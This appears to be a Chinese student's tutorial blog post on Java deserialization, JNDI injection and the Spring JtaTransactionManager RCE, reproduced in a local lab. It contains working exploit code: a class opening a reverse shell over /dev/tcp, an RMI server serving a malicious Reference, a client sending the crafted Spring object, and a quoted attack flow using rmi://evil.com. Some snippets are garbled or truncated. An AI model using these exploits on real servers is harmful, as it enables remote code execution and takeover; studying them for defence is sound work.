前言
刚步入大三,该接触接触JavaWeb安全了,之前试着调试过St2的漏洞,现在来入门一下java反序列化,如有什么错误的地方,还请各位师傅指出和包含
序列化
在Java中,只要一个类实现了java.io.Serializable接口,那么它就可以被序列化
SerializeTest.java1
2
3
4
5
6
7
8
9
10package serialize;
import java.io.FileInputStream;
public class DeSerializeDemo {
public static void main(String[] args) throws Exception{
SerializeTest st = null;
FileInputStream fileIn
}
}
一个类想要序列化成功,必须满足:
- 该类必须实现 java.io.Serializable 对象
- 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的
SerializeDemo.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class SerializeDemo {
public static void main(String[] args) throws Exception
{
SerializeTest st = new SerializeTest();
st.name = "hu3sky";
//打开文件输出流
FileOutputStream fileOut =
new FileOutputStream("test.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(st);
out.close();
fileOut.close();
}
}
运行后,会生成一个test.ser
16进制如下
ac ed 00 05
: java序列化内容的特征
虽然没有php看起来那么直观,不过还是能看出一些数据,比如SerializeTest接口,name变量,hu3sky值
反序列化
DeSerializeDemo.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class DeSerializeDemo {
public static void main(String[] args) throws Exception
{
SerializeTest st = null;
FileInputStream fileIn = new FileInputStream("test.ser");
ObjectInputStream input = new ObjectInputStream(fileIn);
// 读取对象
st = (SerializeTest)input.readObject();
input.close();
fileIn.close();
System.out.println("DeSerialize 's Name: " + st.name);
}
}
成功反序列化出name的值
反序列化漏洞
在反序列化时,我们也看到了,会调用readObject()
方法,如果当readObject方法书写不当时就会引发漏洞。
1 | import java.io.FileInputStream; |
JNDI注入
先来了解两个概念
- RMI,java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议)以及 CORBA
- JNDI,是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,JNDI 支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等
简单的来说就是RMI注册的服务可以让 JNDI 应用程序来访问,调用
JNDI 获取并调用远程方法
一个对象方法想要被远程调用必须implements java.rmi.Remote
,而远程对象必须implements java.rmi.server.UniCastRemoteObject
首先创建一个IHello接口
IHello.java1
2
3
4
5
6import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
接着创建一个IHelloImpl
类 实现 java.rmi.server.UniCastRemoteObject
类
并包含 IHello 接口
IHelloImpl.java1
2
3
4
5
6
7
8
9
10
11
12
13import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
最后用 RMI 绑定实例对象方法,并使用 JNDI 去获取并调用对象方法
CallService.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception {
//配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
// 本地开启 1099 端口作为 RMI 服务,并以标识 "hello" 绑定方法对象
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello",hello);
// JNDI 获取 RMI 上的方法对象并进行调用
IHello rHello = (IHello) ctx.lookup("hello");
System.out.println(rHello.sayHello("Hu3sky"));
}
}
运行CallService.java
具体流程如下
sayHello()函数是在远程RMI上执行的,执行完成后会将结果序列化返回给应用端
RMI 中动态加载字节代码
1 | 如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化 |
Reference的几个关键属性1
2
3className - 远程加载时所使用的类名
classFactory - 加载的 class 中需要实例化类的名称
classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议
一个demo1
2
3Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
当客户端有lookup(“refObj”)操作时,会获得一个Reference
类的存根(存根类是一个类,它实现了一个接口,但是实现后的每个方法都是空的)
客户端会在本地的CLASSPATH查找refClassName
类是否存在,如果本地不存在,则会去http://example.com:12345/refClassName.class
查找并调用insClassName
的构造函数
说明RMI在加载远程对象时,能够实例化外部对象
于是,当lookup的参数可控时,就可能去加载远程服务器上的恶意类
JNDI in Action
1 | // Create the Initial Context configured to work with an RMI Registry |
JNDI Injection demo
1 | 复现的时候jdk版本不能太高,1.8版本rmi禁止了远程加载,com.sun.jndi.rmi.object.trustURLCodebase默认为false,其是默认禁止RMI和CORBA协议使用远程codebase的选项,导致我们不能通过低版本中RMI+Reference的方式来实现JNDI注入从而实现触发反序列化漏洞执行任意代码 |
一个存在lookup注入的类JNDIServer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIServer {
public static void main(String[] args) throws Exception{
if(args.length < 1) {
System.out.println("Usage: java JNDIServer <uri>");
System.exit(-1);
}
String uri = args[0];
Context ctx = new InitialContext();
System.out.println("lookup() " + uri);
ctx.lookup(uri);
}
}
EvilObject.java1
2
3
4
5
6
7
8
9
10import java.lang.*;
public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "/bin/sh -i > /dev/tcp/127.0.0.1/1234 2>&1 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
RMIService.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIService {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
对象实例要能成功绑定在 RMI
服务上,必须直接或间接的实现 Remote
接口,由于ReferenceWrapper
继承UnicastRemoteObject
类并实现了Remote
接口
将EvalObject放在test目录下
将JNDIClient和RMIServer放在src目录下
python server在test目录下启动
可以看到成功执行了命令反弹了shell
对于执行过程这位师傅已经总结的很好了@https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
1 | 1. 攻击者通过可控的 URI 参数触发动态环境转换(lookup),例如这里 URI 为 rmi://evil.com:1099/refObj; |
Spring反序列化
环境搭建
在IntellIj下创建一个Spring项目
注意jdk版本
漏洞分析
漏洞主要产生在spring-tx-xxx.jar包中/spring-tx-4.3.18.RELEASE.jar!/org/springframework/transaction/jta/JtaTransactionManager.class
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
跟进initUserTransactionAndTransactionManager
方法1
2
3
4
5
6
7
8...
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
...
继续跟进lookupUserTransaction
1 | protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException { |
发现1
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
userTransactionName
变量传入了lookup
,如果这里的userTransactionName
可控,就能够利用lookup
在116行,用了set函数进行赋值,于是我们在这里就找到了可控点
那么思路就是,在反序列化时,控制userTransactionName
为rmi恶意类,同时因为反序列化会自动去调用readObj
,然后触发initUserTransactionAndTransactionManager
里的lookup
,于是造成JNDI RCE
漏洞实现及环境搭建
本地环境1
2
3jdk: jdk1.7.0_80
IDE: IntelliJ IDEA
Apache Maven 3.3.9
注意:maven和jdk版本需对应,本人一开始不知道。。踩了坑,maven下的最新版,无限报错
漏洞环境
https://github.com/zerothoughts/spring-jndi1
2
3cd server
mvn install
java -cp "target/*" ExploitableServer 9999
1 | cd client |
代码里的HttpServer好像没有启动成功,于是我手动开一个80服务切到client/target/classes
目录下
执行1
python -m http.server 80
成功执行了恶意类
漏洞代码
ExploitableServer.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28import java.io.*;
import java.net.*;
public class ExploitableServer {
public static void main(String[] args) {
try {
//create socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[0]));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//wait for connect
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//readObject to DeSerialize
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
ExploitClient.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = args[0];
int port = Integer.parseInt(args[1]);
String localAddress= args[2];
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println("Creating RMI Registry");
//rmi注册端口
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
ExportObject.java1
2
3
4
5
6
7
8
9
10
11
12public class ExportObject {
public ExportObject() {
try {
while(true) {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
执行流程
发送的payload是1
2
3
4String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
这里调用的org.springframework.transaction.jta.JtaTransactionManager
就是之前的存在漏洞的类